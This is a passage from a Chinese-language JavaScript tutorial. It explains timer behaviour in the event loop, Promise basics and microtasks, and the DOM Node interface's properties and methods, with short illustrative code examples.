setTimeoutsetInterval的运行机制,是将指定的代码移出本轮事件循环,等到下一轮事件循环,再检查是否到了指定时间。如果到了,就执行对应的代码;如果不到,就继续等待。

这意味着,setTimeoutsetInterval指定的回调函数,必须等到本轮事件循环的所有同步任务都执行完,才会开始执行。由于前面的任务到底需要多少时间执行完,是不确定的,所以没有办法保证,setTimeoutsetInterval指定的任务,一定会按照预定时间执行。

1
2
setTimeout(someTask, 100);
veryLongTask();

上面代码的setTimeout,指定100毫秒以后运行一个任务。但是,如果后面的veryLongTask函数(同步任务)运行时间非常长,过了100毫秒还无法结束,那么被推迟运行的someTask就只有等着,等到veryLongTask运行结束,才轮到它执行。

再看一个setInterval的例子。

1
2
3
4
5
6
7
8
9
10
11
setInterval(function () {
console.log(2);
}, 1000);

sleep(3000);

function sleep(ms) {
var start = Date.now();
while ((Date.now() - start) < ms) {
}
}

上面代码中,setInterval要求每隔1000毫秒,就输出一个2。但是,紧接着的sleep语句需要3000毫秒才能完成,那么setInterval就必须推迟到3000毫秒之后才开始生效。注意,生效后setInterval不会产生累积效应,即不会一下子输出三个2,而是只会输出一个2。

setTimeout(f, 0)

含义

setTimeout的作用是将代码推迟到指定时间执行,如果指定时间为0,即setTimeout(f, 0),那么会立刻执行吗?

答案是不会。因为上一节说过,必须要等到当前脚本的同步任务,全部处理完以后,才会执行setTimeout指定的回调函数f。也就是说,setTimeout(f, 0)会在下一轮事件循环一开始就执行。

1
2
3
4
5
6
setTimeout(function () {
console.log(1);
}, 0);
console.log(2);
// 2
// 1

上面代码先输出2,再输出1。因为2是同步任务,在本轮事件循环执行,而1是下一轮事件循环执行。

总之,setTimeout(f, 0)这种写法的目的是,尽可能早地执行f,但是并不能保证立刻就执行f

实际上,setTimeout(f, 0)不会真的在0毫秒之后运行,不同的浏览器有不同的实现。以 Edge 浏览器为例,会等到4毫秒之后运行。如果电脑正在使用电池供电,会等到16毫秒之后运行;如果网页不在当前 Tab 页,会推迟到1000毫秒(1秒)之后运行。这样是为了节省系统资源。

应用

setTimeout(f, 0)有几个非常重要的用途。它的一大应用是,可以调整事件的发生顺序。比如,网页开发中,某个事件先发生在子元素,然后冒泡到父元素,即子元素的事件回调函数,会早于父元素的事件回调函数触发。如果,想让父元素的事件回调函数先发生,就要用到setTimeout(f, 0)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// HTML 代码如下
// <input type="button" id="myButton" value="click">

var input = document.getElementById('myButton');

input.onclick = function A() {
setTimeout(function B() {
input.value +=' input';
}, 0)
};

document.body.onclick = function C() {
input.value += ' body'
};

上面代码在点击按钮后,先触发回调函数A,然后触发函数C。函数A中,setTimeout将函数B推迟到下一轮事件循环执行,这样就起到了,先触发父元素的回调函数C的目的了。

另一个应用是,用户自定义的回调函数,通常在浏览器的默认动作之前触发。比如,用户在输入框输入文本,keypress事件会在浏览器接收文本之前触发。因此,下面的回调函数是达不到目的的。

1
2
3
4
5
6
// HTML 代码如下
// <input type="text" id="input-box">

document.getElementById('input-box').onkeypress = function (event) {
this.value = this.value.toUpperCase();
}

上面代码想在用户每次输入文本后,立即将字符转为大写。但是实际上,它只能将本次输入前的字符转为大写,因为浏览器此时还没接收到新的文本,所以this.value取不到最新输入的那个字符。只有用setTimeout改写,上面的代码才能发挥作用。

1
2
3
4
5
6
document.getElementById('input-box').onkeypress = function() {
var self = this;
setTimeout(function() {
self.value = self.value.toUpperCase();
}, 0);
}

上面代码将代码放入setTimeout之中,就能使得它在浏览器接收到文本之后触发。

由于setTimeout(f, 0)实际上意味着,将任务放到浏览器最早可得的空闲时段执行,所以那些计算量大、耗时长的任务,常常会被放到几个小部分,分别放到setTimeout(f, 0)里面执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
var div = document.getElementsByTagName('div')[0];

// 写法一
for (var i = 0xA00000; i < 0xFFFFFF; i++) {
div.style.backgroundColor = '#' + i.toString(16);
}

// 写法二
var timer;
var i=0x100000;

function func() {
timer = setTimeout(func, 0);
div.style.backgroundColor = '#' + i.toString(16);
if (i++ == 0xFFFFFF) clearTimeout(timer);
}

timer = setTimeout(func, 0);

上面代码有两种写法,都是改变一个网页元素的背景色。写法一会造成浏览器“堵塞”,因为 JavaScript 执行速度远高于 DOM,会造成大量 DOM 操作“堆积”,而写法二就不会,这就是setTimeout(f, 0)的好处。

另一个使用这种技巧的例子是代码高亮的处理。如果代码块很大,一次性处理,可能会对性能造成很大的压力,那么将其分成一个个小块,一次处理一块,比如写成setTimeout(highlightNext, 50)的样子,性能压力就会减轻。

Promise 对象

概述

Promise 对象是 JavaScript 的异步操作解决方案,为异步操作提供统一接口。它起到代理作用(proxy),充当异步操作与回调函数之间的中介,使得异步操作具备同步操作的接口。Promise 可以让异步操作写起来,就像在写同步操作的流程,而不必一层层地嵌套回调函数。

注意,本章只是 Promise 对象的简单介绍。为了避免与后续教程的重复,更完整的介绍请看《ES6 标准入门》《Promise 对象》一章。

首先,Promise 是一个对象,也是一个构造函数。

1
2
3
4
5
function f1(resolve, reject) {
// 异步代码...
}

var p1 = new Promise(f1);

上面代码中,Promise构造函数接受一个回调函数f1作为参数,f1里面是异步操作的代码。然后,返回的p1就是一个 Promise 实例。

Promise 的设计思想是,所有异步任务都返回一个 Promise 实例。Promise 实例有一个then方法,用来指定下一步的回调函数。

1
2
var p1 = new Promise(f1);
p1.then(f2);

上面代码中,f1的异步操作执行完成,就会执行f2

传统的写法可能需要把f2作为回调函数传入f1,比如写成f1(f2),异步操作完成后,在f1内部调用f2。Promise 使得f1f2变成了链式写法。不仅改善了可读性,而且对于多层嵌套的回调函数尤其方便。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 传统写法
step1(function (value1) {
step2(value1, function(value2) {
step3(value2, function(value3) {
step4(value3, function(value4) {
// ...
});
});
});
});

// Promise 的写法
(new Promise(step1))
.then(step2)
.then(step3)
.then(step4);

从上面代码可以看到,采用 Promises 以后,程序流程变得非常清楚,十分易读。注意,为了便于理解,上面代码的Promise实例的生成格式,做了简化,真正的语法请参照下文。

总的来说,传统的回调函数写法使得代码混成一团,变得横向发展而不是向下发展。Promise 就是解决这个问题,使得异步流程可以写成同步流程。

Promise 原本只是社区提出的一个构想,一些函数库率先实现了这个功能。ECMAScript 6 将其写入语言标准,目前 JavaScript 原生支持 Promise 对象。

Promise 对象的状态

Promise 对象通过自身的状态,来控制异步操作。Promise 实例具有三种状态。

  • 异步操作未完成(pending)
  • 异步操作成功(fulfilled)
  • 异步操作失败(rejected)

上面三种状态里面,fulfilledrejected合在一起称为resolved(已定型)。

这三种的状态的变化途径只有两种。

  • 从“未完成”到“成功”
  • 从“未完成”到“失败”

一旦状态发生变化,就凝固了,不会再有新的状态变化。这也是 Promise 这个名字的由来,它的英语意思是“承诺”,一旦承诺成效,就不得再改变了。这也意味着,Promise 实例的状态变化只可能发生一次。

因此,Promise 的最终结果只有两种。

  • 异步操作成功,Promise 实例传回一个值(value),状态变为fulfilled
  • 异步操作失败,Promise 实例抛出一个错误(error),状态变为rejected

Promise 构造函数

JavaScript 提供原生的Promise构造函数,用来生成 Promise 实例。

1
2
3
4
5
6
7
8
9
var promise = new Promise(function (resolve, reject) {
// ...

if (/* 异步操作成功 */){
resolve(value);
} else { /* 异步操作失败 */
reject(new Error());
}
});

上面代码中,Promise构造函数接受一个函数作为参数,该函数的两个参数分别是resolvereject。它们是两个函数,由 JavaScript 引擎提供,不用自己实现。

resolve函数的作用是,将Promise实例的状态从“未完成”变为“成功”(即从pending变为fulfilled),在异步操作成功时调用,并将异步操作的结果,作为参数传递出去。reject函数的作用是,将Promise实例的状态从“未完成”变为“失败”(即从pending变为rejected),在异步操作失败时调用,并将异步操作报出的错误,作为参数传递出去。

下面是一个例子。

1
2
3
4
5
6
7
function timeout(ms) {
return new Promise((resolve, reject) => {
setTimeout(resolve, ms, 'done');
});
}

timeout(100)

上面代码中,timeout(100)返回一个 Promise 实例。100毫秒以后,该实例的状态会变为fulfilled

Promise.prototype.then()

Promise 实例的then方法,用来添加回调函数。

then方法可以接受两个回调函数,第一个是异步操作成功时(变为fulfilled状态)的回调函数,第二个是异步操作失败(变为rejected)时的回调函数(该参数可以省略)。一旦状态改变,就调用相应的回调函数。

1
2
3
4
5
6
7
8
9
10
11
var p1 = new Promise(function (resolve, reject) {
resolve('成功');
});
p1.then(console.log, console.error);
// "成功"

var p2 = new Promise(function (resolve, reject) {
reject(new Error('失败'));
});
p2.then(console.log, console.error);
// Error: 失败

上面代码中,p1p2都是Promise 实例,它们的then方法绑定两个回调函数:成功时的回调函数console.log,失败时的回调函数console.error(可以省略)。p1的状态变为成功,p2的状态变为失败,对应的回调函数会收到异步操作传回的值,然后在控制台输出。

then方法可以链式使用。

1
2
3
4
5
6
7
8
p1
.then(step1)
.then(step2)
.then(step3)
.then(
console.log,
console.error
);

上面代码中,p1后面有四个then,意味依次有四个回调函数。只要前一步的状态变为fulfilled,就会依次执行紧跟在后面的回调函数。

最后一个then方法,回调函数是console.logconsole.error,用法上有一点重要的区别。console.log只显示step3的返回值,而console.error可以显示p1step1step2step3之中任意一个发生的错误。举例来说,如果step1的状态变为rejected,那么step2step3都不会执行了(因为它们是resolved的回调函数)。Promise 开始寻找,接下来第一个为rejected的回调函数,在上面代码中是console.error。这就是说,Promise 对象的报错具有传递性。

then() 用法辨析

Promise 的用法,简单说就是一句话:使用then方法添加回调函数。但是,不同的写法有一些细微的差别,请看下面四种写法,它们的差别在哪里?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// 写法一
f1().then(function () {
return f2();
});

// 写法二
f1().then(function () {
f2();
});

// 写法三
f1().then(f2());

// 写法四
f1().then(f2);

为了便于讲解,下面这四种写法都再用then方法接一个回调函数f3。写法一的f3回调函数的参数,是f2函数的运行结果。

1
2
3
f1().then(function () {
return f2();
}).then(f3);

写法二的f3回调函数的参数是undefined

1
2
3
4
f1().then(function () {
f2();
return;
}).then(f3);

写法三的f3回调函数的参数,是f2函数返回的函数的运行结果。

1
2
f1().then(f2())
.then(f3);

写法四与写法一只有一个差别,那就是f2会接收到f1()返回的结果。

1
2
f1().then(f2)
.then(f3);

实例:图片加载

下面是使用 Promise 完成图片的加载。

1
2
3
4
5
6
7
8
var preloadImage = function (path) {
return new Promise(function (resolve, reject) {
var image = new Image();
image.onload = resolve;
image.onerror = reject;
image.src = path;
});
};

上面代码中,image是一个图片对象的实例。它有两个事件监听属性,onload属性在图片加载成功后调用,onerror属性在加载失败调用。

上面的preloadImage()函数用法如下。

1
2
3
preloadImage('https://example.com/my.jpg')
.then(function (e) { document.body.append(e.target) })
.then(function () { console.log('加载成功') })

上面代码中,图片加载成功以后,onload属性会返回一个事件对象,因此第一个then()方法的回调函数,会接收到这个事件对象。该对象的target属性就是图片加载后生成的 DOM 节点。

小结

Promise 的优点在于,让回调函数变成了规范的链式写法,程序流程可以看得很清楚。它有一整套接口,可以实现许多强大的功能,比如同时执行多个异步操作,等到它们的状态都改变以后,再执行一个回调函数;再比如,为多个回调函数中抛出的错误,统一指定处理方法等等。

而且,Promise 还有一个传统写法没有的好处:它的状态一旦改变,无论何时查询,都能得到这个状态。这意味着,无论何时为 Promise 实例添加回调函数,该函数都能正确执行。所以,你不用担心是否错过了某个事件或信号。如果是传统写法,通过监听事件来执行回调函数,一旦错过了事件,再添加回调函数是不会执行的。

Promise 的缺点是,编写的难度比传统写法高,而且阅读代码也不是一眼可以看懂。你只会看到一堆then,必须自己在then的回调函数里面理清逻辑。

微任务

Promise 的回调函数属于异步任务,会在同步任务之后执行。

1
2
3
4
5
6
7
new Promise(function (resolve, reject) {
resolve(1);
}).then(console.log);

console.log(2);
// 2
// 1

上面代码会先输出2,再输出1。因为console.log(2)是同步任务,而then的回调函数属于异步任务,一定晚于同步任务执行。

但是,Promise 的回调函数不是正常的异步任务,而是微任务(microtask)。它们的区别在于,正常任务追加到下一轮事件循环,微任务追加到本轮事件循环。这意味着,微任务的执行时间一定早于正常任务。

1
2
3
4
5
6
7
8
9
10
11
12
setTimeout(function() {
console.log(1);
}, 0);

new Promise(function (resolve, reject) {
resolve(2);
}).then(console.log);

console.log(3);
// 3
// 2
// 1

上面代码的输出结果是321。这说明then的回调函数的执行时间,早于setTimeout(fn, 0)。因为then是本轮事件循环执行,setTimeout(fn, 0)在下一轮事件循环开始时执行。

参考链接

DOM

DOM 概述

DOM

DOM 是 JavaScript 操作网页的接口,全称为“文档对象模型”(Document Object Model)。它的作用是将网页转为一个 JavaScript 对象,从而可以用脚本进行各种操作(比如增删内容)。

浏览器会根据 DOM 模型,将结构化文档(比如 HTML 和 XML)解析成一系列的节点,再由这些节点组成一个树状结构(DOM Tree)。所有的节点和最终的树状结构,都有规范的对外接口。

DOM 只是一个接口规范,可以用各种语言实现。所以严格地说,DOM 不是 JavaScript 语法的一部分,但是 DOM 操作是 JavaScript 最常见的任务,离开了 DOM,JavaScript 就无法控制网页。另一方面,JavaScript 也是最常用于 DOM 操作的语言。后面介绍的就是 JavaScript 对 DOM 标准的实现和用法。

节点

DOM 的最小组成单位叫做节点(node)。文档的树形结构(DOM 树),就是由各种不同类型的节点组成。每个节点可以看作是文档树的一片叶子。

节点的类型有七种。

  • Document:整个文档树的顶层节点
  • DocumentTypedoctype标签(比如<!DOCTYPE html>
  • Element:网页的各种HTML标签(比如<body><a>等)
  • Attribute:网页元素的属性(比如class="right"
  • Text:标签之间或标签包含的文本
  • Comment:注释
  • DocumentFragment:文档的片段

浏览器提供一个原生的节点对象Node,上面这七种节点都继承了Node,因此具有一些共同的属性和方法。

节点树

一个文档的所有节点,按照所在的层级,可以抽象成一种树状结构。这种树状结构就是 DOM 树。它有一个顶层节点,下一层都是顶层节点的子节点,然后子节点又有自己的子节点,就这样层层衍生出一个金字塔结构,倒过来就像一棵树。

浏览器原生提供document节点,代表整个文档。

1
2
document
// 整个文档树

文档的第一层有两个节点,第一个是文档类型节点(<!doctype html>),第二个是 HTML 网页的顶层容器标签<html>。后者构成了树结构的根节点(root node),其他 HTML 标签节点都是它的下级节点。

除了根节点,其他节点都有三种层级关系。

  • 父节点关系(parentNode):直接的那个上级节点
  • 子节点关系(childNodes):直接的下级节点
  • 同级节点关系(sibling):拥有同一个父节点的节点

DOM 提供操作接口,用来获取这三种关系的节点。比如,子节点接口包括firstChild(第一个子节点)和lastChild(最后一个子节点)等属性,同级节点接口包括nextSibling(紧邻在后的那个同级节点)和previousSibling(紧邻在前的那个同级节点)属性。

Node 接口

所有 DOM 节点对象都继承了 Node 接口,拥有一些共同的属性和方法。这是 DOM 操作的基础。

属性

Node.prototype.nodeType

nodeType属性返回一个整数值,表示节点的类型。

1
document.nodeType // 9

上面代码中,文档节点的类型值为9。

Node 对象定义了几个常量,对应这些类型值。

1
document.nodeType === Node.DOCUMENT_NODE // true

上面代码中,文档节点的nodeType属性等于常量Node.DOCUMENT_NODE

不同节点的nodeType属性值和对应的常量如下。

  • 文档节点(document):9,对应常量Node.DOCUMENT_NODE
  • 元素节点(element):1,对应常量Node.ELEMENT_NODE
  • 属性节点(attr):2,对应常量Node.ATTRIBUTE_NODE
  • 文本节点(text):3,对应常量Node.TEXT_NODE
  • 文档片断节点(DocumentFragment):11,对应常量Node.DOCUMENT_FRAGMENT_NODE
  • 文档类型节点(DocumentType):10,对应常量Node.DOCUMENT_TYPE_NODE
  • 注释节点(Comment):8,对应常量Node.COMMENT_NODE

确定节点类型时,使用nodeType属性是常用方法。

1
2
3
4
var node = document.documentElement.firstChild;
if (node.nodeType === Node.ELEMENT_NODE) {
console.log('该节点是元素节点');
}

Node.prototype.nodeName

nodeName属性返回节点的名称。

1
2
3
4
// HTML 代码如下
// <div id="d1">hello world</div>
var div = document.getElementById('d1');
div.nodeName // "DIV"

上面代码中,元素节点<div>nodeName属性就是大写的标签名DIV

不同节点的nodeName属性值如下。

  • 文档节点(document):#document
  • 元素节点(element):大写的标签名
  • 属性节点(attr):属性的名称
  • 文本节点(text):#text
  • 文档片断节点(DocumentFragment):#document-fragment
  • 文档类型节点(DocumentType):文档的类型
  • 注释节点(Comment):#comment

Node.prototype.nodeValue

nodeValue属性返回一个字符串,表示当前节点本身的文本值,该属性可读写。

只有文本节点(text)、注释节点(comment)和属性节点(attr)有文本值,因此这三类节点的nodeValue可以返回结果,其他类型的节点一律返回null。同样的,也只有这三类节点可以设置nodeValue属性的值,其他类型的节点设置无效。

1
2
3
4
5
// HTML 代码如下
// <div id="d1">hello world</div>
var div = document.getElementById('d1');
div.nodeValue // null
div.firstChild.nodeValue // "hello world"

上面代码中,div是元素节点,nodeValue属性返回nulldiv.firstChild是文本节点,所以可以返回文本值。

Node.prototype.textContent

textContent属性返回当前节点和它的所有后代节点的文本内容。

1
2
3
4
5
// HTML 代码为
// <div id="divA">This is <span>some</span> text</div>

document.getElementById('divA').textContent
// This is some text

textContent属性自动忽略当前节点内部的 HTML 标签,返回所有文本内容。

该属性是可读写的,设置该属性的值,会用一个新的文本节点,替换所有原来的子节点。它还有一个好处,就是自动对 HTML 标签转义。这很适合用于用户提供的内容。

1
document.getElementById('foo').textContent = '<p>GoodBye!</p>';

上面代码在插入文本时,会将<p>标签解释为文本,而不会当作标签处理。

对于文本节点(text)、注释节点(comment)和属性节点(attr),textContent属性的值与nodeValue属性相同。对于其他类型的节点,该属性会将每个子节点(不包括注释节点)的内容连接在一起返回。如果一个节点没有子节点,则返回空字符串。

文档节点(document)和文档类型节点(doctype)的textContent属性为null。如果要读取整个文档的内容,可以使用document.documentElement.textContent

Node.prototype.baseURI

baseURI属性返回一个字符串,表示当前网页的绝对路径。浏览器根据这个属性,计算网页上的相对路径的 URL。该属性为只读。

1
2
3
4
// 当前网页的网址为
// http://www.example.com/index.html
document.baseURI
// "http://www.example.com/index.html"

如果无法读到网页的 URL,baseURI属性返回null

该属性的值一般由当前网址的 URL(即window.location属性)决定,但是可以使用 HTML 的<base>标签,改变该属性的值。

1
<base href="http://www.example.com/page.html">

设置了以后,baseURI属性就返回<base>标签设置的值。

Node.prototype.ownerDocument

Node.ownerDocument属性返回当前节点所在的顶层文档对象,即document对象。

1
2
var d = p.ownerDocument;
d === document // true

document对象本身的ownerDocument属性,返回null

Node.prototype.nextSibling

Node.nextSibling属性返回紧跟在当前节点后面的第一个同级节点。如果当前节点后面没有同级节点,则返回null

1
2
3
4
5
6
// HTML 代码如下
// <div id="d1">hello</div><div id="d2">world</div>
var d1 = document.getElementById('d1');
var d2 = document.getElementById('d2');

d1.nextSibling === d2 // true

上面代码中,d1.nextSibling就是紧跟在d1后面的同级节点d2

注意,该属性还包括文本节点和注释节点(<!-- comment -->)。因此如果当前节点后面有空格,该属性会返回一个文本节点,内容为空格。

nextSibling属性可以用来遍历所有子节点。

1
2
3
4
5
6
var el = document.getElementById('div1').firstChild;

while (el !== null) {
console.log(el.nodeName);
el = el.nextSibling;
}

上面代码遍历div1节点的所有子节点。

Node.prototype.previousSibling

previousSibling属性返回当前节点前面的、距离最近的一个同级节点。如果当前节点前面没有同级节点,则返回null

1
2
3
4
5
6
// HTML 代码如下
// <div id="d1">hello</div><div id="d2">world</div>
var d1 = document.getElementById('d1');
var d2 = document.getElementById('d2');

d2.previousSibling === d1 // true

上面代码中,d2.previousSibling就是d2前面的同级节点d1

注意,该属性还包括文本节点和注释节点。因此如果当前节点前面有空格,该属性会返回一个文本节点,内容为空格。

Node.prototype.parentNode

parentNode属性返回当前节点的父节点。对于一个节点来说,它的父节点只可能是三种类型:元素节点(element)、文档节点(document)和文档片段节点(documentfragment)。

1
2
3
if (node.parentNode) {
node.parentNode.removeChild(node);
}

上面代码中,通过node.parentNode属性将node节点从文档里面移除。

文档节点(document)和文档片段节点(documentfragment)的父节点都是null。另外,对于那些生成后还没插入 DOM 树的节点,父节点也是null

Node.prototype.parentElement

parentElement属性返回当前节点的父元素节点。如果当前节点没有父节点,或者父节点类型不是元素节点,则返回null

1
2
3
if (node.parentElement) {
node.parentElement.style.color = 'red';
}

上面代码中,父元素节点的样式设定了红色。

由于父节点只可能是三种类型:元素节点、文档节点(document)和文档片段节点(documentfragment)。parentElement属性相当于把后两种父节点都排除了。

Node.prototype.firstChild,Node.prototype.lastChild

firstChild属性返回当前节点的第一个子节点,如果当前节点没有子节点,则返回null

1
2
3
4
// HTML 代码如下
// <p id="p1"><span>First span</span></p>
var p1 = document.getElementById('p1');
p1.firstChild.nodeName // "SPAN"

上面代码中,p元素的第一个子节点是span元素。

注意,firstChild返回的除了元素节点,还可能是文本节点或注释节点。

1
2
3
4
5
6
// HTML 代码如下
// <p id="p1">
// <span>First span</span>
// </p>
var p1 = document.getElementById('p1');
p1.firstChild.nodeName // "#text"

上面代码中,p元素与span元素之间有空白字符,这导致firstChild返回的是文本节点。

lastChild属性返回当前节点的最后一个子节点,如果当前节点没有子节点,则返回null。用法与firstChild属性相同。

Node.prototype.childNodes

childNodes属性返回一个类似数组的对象(NodeList集合),成员包括当前节点的所有子节点。

1
var children = document.querySelector('ul').childNodes;

上面代码中,children就是ul元素的所有子节点。

使用该属性,可以遍历某个节点的所有子节点。

1
2
3
4
5
6
var div = document.getElementById('div1');
var children = div.childNodes;

for (var i = 0; i < children.length; i++) {
// ...
}

文档节点(document)就有两个子节点:文档类型节点(docType)和 HTML 根元素节点。

1
2
3
4
5
6
var children = document.childNodes;
for (var i = 0; i < children.length; i++) {
console.log(children[i].nodeType);
}
// 10
// 1

上面代码中,文档节点的第一个子节点的类型是10(即文档类型节点),第二个子节点的类型是1(即元素节点)。

注意,除了元素节点,childNodes属性的返回值还包括文本节点和注释节点。如果当前节点不包括任何子节点,则返回一个空的NodeList集合。由于NodeList对象是一个动态集合,一旦子节点发生变化,立刻会反映在返回结果之中。

Node.prototype.isConnected

isConnected属性返回一个布尔值,表示当前节点是否在文档之中。

1
2
3
4
5
var test = document.createElement('p');
test.isConnected // false

document.body.appendChild(test);
test.isConnected // true

上面代码中,test节点是脚本生成的节点,没有插入文档之前,isConnected属性返回false,插入之后返回true

方法

Node.prototype.appendChild()

appendChild()方法接受一个节点对象作为参数,将其作为最后一个子节点,插入当前节点。该方法的返回值就是插入文档的子节点。

1
2
var p = document.createElement('p');
document.body.appendChild(p);

上面代码新建一个<p>节点,将其插入document.body的尾部。

如果参数节点是 DOM 已经存在的节点,appendChild()方法会将其从原来的位置,移动到新位置。

1
2
var div = document.getElementById('myDiv');
document.body.appendChild(div);

上面代码中,插入的是一个已经存在的节点myDiv,结果就是该节点会从原来的位置,移动到document.body的尾部。

如果appendChild()方法的参数是DocumentFragment节点,那么插入的是DocumentFragment的所有子节点,而不是DocumentFragment节点本身。返回值是一个空的DocumentFragment节点。

Node.prototype.hasChildNodes()

hasChildNodes方法返回一个布尔值,表示当前节点是否有子节点。

1
2
3
4
5
var foo = document.getElementById('foo');

if (foo.hasChildNodes()) {
foo.removeChild(foo.childNodes[0]);
}

上面代码表示,如果foo节点有子节点,就移除第一个子节点。

注意,子节点包括所有类型的节点,并不仅仅是元素节点。哪怕节点只包含一个空格,hasChildNodes方法也会返回true

判断一个节点有没有子节点,有许多种方法,下面是其中的三种。

  • node.hasChildNodes()
  • node.firstChild !== null
  • node.childNodes && node.childNodes.length > 0

hasChildNodes方法结合firstChild属性和nextSibling属性,可以遍历当前节点的所有后代节点。

1
2
3
4
5
6
7
8
9
10
11
function DOMComb(parent, callback) {
if (parent.hasChildNodes()) {
for (var node = parent.firstChild; node; node = node.nextSibling) {
DOMComb(node, callback);
}
}
callback(parent);
}

// 用法
DOMComb(document.body, console.log)

上面代码中,DOMComb函数的第一个参数是某个指定的节点,第二个参数是回调函数。这个回调函数会依次作用于指定节点,以及指定节点的所有后代节点。

Node.prototype.cloneNode()

cloneNode方法用于克隆一个节点。它接受一个布尔值作为参数,表示是否同时克隆子节点。它的返回值是一个克隆出来的新节点。

1
var cloneUL = document.querySelector('ul').cloneNode(true);

该方法有一些使用注意点。

(1)克隆一个节点,会拷贝该节点的所有属性,但是会丧失addEventListener方法和on-属性(即node.onclick = fn),添加在这个节点上的事件回调函数。

(2)该方法返回的节点不在文档之中,即没有任何父节点,必须使用诸如Node.appendChild这样的方法添加到文档之中。

(3)克隆一个节点之后,DOM 有可能出现两个有相同id属性(即id="xxx")的网页元素,这时应该修改其中一个元素的id属性。如果原节点有name属性,可能也需要修改。

Node.prototype.insertBefore()

insertBefore方法用于将某个节点插入父节点内部的指定位置。

1
var insertedNode = parentNode.insertBefore(newNode, referenceNode);

insertBefore方法接受两个参数,第一个参数是所要插入的节点newNode,第二个参数是父节点parentNode内部的一个子节点referenceNodenewNode将插在referenceNode这个子节点的前面。返回值是插入的新节点newNode

1
2
var p = document.createElement('p');
document.body.insertBefore(p, document.body.firstChild);

上面代码中,新建一个<p>节点,插在document.body.firstChild的前面,也就是成为document.body的第一个子节点。

如果insertBefore方法的第二个参数为null,则新节点将插在当前节点内部的最后位置,即变成最后一个子节点。

1
2
var p = document.createElement('p');
document.body.insertBefore(p, null);

上面代码中,p将成为document.body的最后一个子节点。这也说明insertBefore的第二个参数不能省略。

注意,如果所要插入的节点是当前 DOM 现有的节点,则该节点将从原有的位置移除,插入新的位置。

由于不存在insertAfter方法,如果新节点要插在父节点的某个子节点后面,可以用insertBefore方法结合nextSibling属性模拟。

1
parent.insertBefore(s1, s2.nextSibling);

上面代码中,parent是父节点,s1是一个全新的节点,s2是可以将s1节点,插在s2节点的后面。如果s2是当前节点的最后一个子节点,则s2.nextSibling返回null,这时s1节点会插在当前节点的最后,变成当前节点的最后一个子节点,等于紧跟在s2的后面。

如果要插入的节点是DocumentFragment类型,那么插入的将是DocumentFragment的所有子节点,而不是DocumentFragment节点本身。返回值将是一个空的DocumentFragment节点。

Node.prototype.removeChild()

removeChild方法接受一个子节点作为参数,用于从当前节点移除该子节点。返回值是移除的子节点。

1
2
var divA = document.getElementById('A');
divA.parentNode.removeChild(divA);

上面代码移除了divA节点。注意,这个方法是在divA的父节点上调用的,不是在divA上调用的。

下面是如何移除当前节点的所有子节点。

1
2
3
4
var element = document.getElementById('top');
while (element.firstChild) {
element.removeChild(element.firstChild);
}

被移除的节点依然存在于内存之中,但不再是 DOM 的一部分。所以,一个节点移除以后,依然可以使用它,比如插入到另一个节点下面。

如果参数节点不是当前节点的子节点,removeChild方法将报错。

Node.prototype.replaceChild()

replaceChild方法用于将一个新的节点,替换当前节点的某一个子节点。

1
var replacedNode = parentNode.replaceChild(newChild, oldChild);

上面代码中,replaceChild方法接受两个参数,第一个参数newChild是用来替换的新节点,第二个参数oldChild是将要替换走的子节点。返回值是替换走的那个节点oldChild

1
2
3
4
var divA = document.getElementById('divA');
var newSpan = document.createElement('span');
newSpan.textContent = 'Hello World!';
divA.parentNode.replaceChild(newSpan, divA);

上面代码是如何将指定节点divA替换走。

Node.prototype.contains()

contains方法返回一个布尔值,表示参数节点是否满足以下三个条件之一。

  • 参数节点为当前节点。
  • 参数节点为当前节点的子节点。
  • 参数节点为当前节点的后代节点。
1
document.body.contains(node)

上面代码检查参数节点node,是否包含在当前文档之中。

注意,当前节点传入contains方法,返回true

1
nodeA.contains(nodeA) // true

Node.prototype.compareDocumentPosition()

compareDocumentPosition方法的用法,与contains方法完全一致,返回一个六个比特位的二进制值,表示参数节点与当前节点的关系。

二进制值 十进制值 含义
000000 0 两个节点相同
000001 1 两个节点不在同一个文档(即有一个节点不在当前文档)
000010 2 参数节点在当前节点的前面
000100 4 参数节点在当前节点的后面
001000 8 参数节点包含当前节点
010000 16 当前节点包含参数节点
100000 32 浏览器内部使用
1
2
3
4
5
6
7
8
9
10
// HTML 代码如下
// <div id="mydiv">
// <form><input id="test" /></form>
// </div>

var div = document.getElementById('mydiv');
var input = document.getElementById('test');

div.compareDocumentPosition(input) // 20
input.compareDocumentPosition(div) // 10

上面代码中,节点div包含节点input(二进制010000),而且节点input在节点div的后面(二进制000100),所以第一个compareDocumentPosition方法返回20(二进制010100,即010000 + 000100),第二个compareDocumentPosition方法返回10(二进制001010)。

由于compareDocumentPosition返回值的含义,定义在每一个比特位上,所以如果要检查某一种特定的含义,就需要使用比特位运算符。

1
2
3
4
5
6
7
var head = document.head;
var body = document.body;
if (head.compareDocumentPosition(body) & 4) {
console.log('文档结构正确');
} else {
console.log('<body> 不能在 <head> 前面');
}

上面代码中,compareDocumentPosition的返回值与4(又称掩码)进行与运算(&),得到一个布尔值,表示<head>是否在<body>前面。

Node.prototype.isEqualNode(),Node.prototype.isSameNode()

isEqualNode方法返回一个布尔值,用于检查两个节点是否相等。所谓相等的节点,指的是两个节点的类型相同、属性相同、子节点相同。

1
2
3
4
var p1 = document.createElement('p');
var p2 = document.createElement('p');

p1.isEqualNode(p2) // true

isSameNode方法返回一个布尔值,表示两个节点是否为同一个节点。

1
2
3
4
5
var p1 = document.createElement('p');
var p2 = document.createElement('p');

p1.isSameNode(p2) // false
p1.isSameNode(p1) // true

Node.prototype.normalize()

normalize方法用于清理当前节点内部的所有文本节点(text)。它会去除空的文本节点,并且将毗邻的文本节点合并成一个,也就是说不存在空的文本节点,以及毗邻的文本节点。

1
2
3
4
5
6
7
8
var wrapper = document.createElement('div');

wrapper.appendChild(document.createTextNode('Part 1 '));
wrapper.appendChild(document.createTextNode('Part 2 '));

wrapper.childNodes.length // 2
wrapper.normalize();
wrapper.childNodes.length // 1

上面代码使用normalize方法之前,wrapper节点有两个毗邻的文本子节点。使用normalize方法之后,两个文本子节点被合并成一个。

该方法是Text.splitText的逆方法,可以查看《Text 节点对象》一章,了解更多内容。

Node.prototype.getRootNode()

getRootNode()方法返回当前节点所在文档的根节点document,与ownerDocument属性的作用相同。

1
2
3
4
document.body.firstChild.getRootNode() === document
// true
document.body.firstChild.getRootNode() === document.body.firstChild.ownerDocument
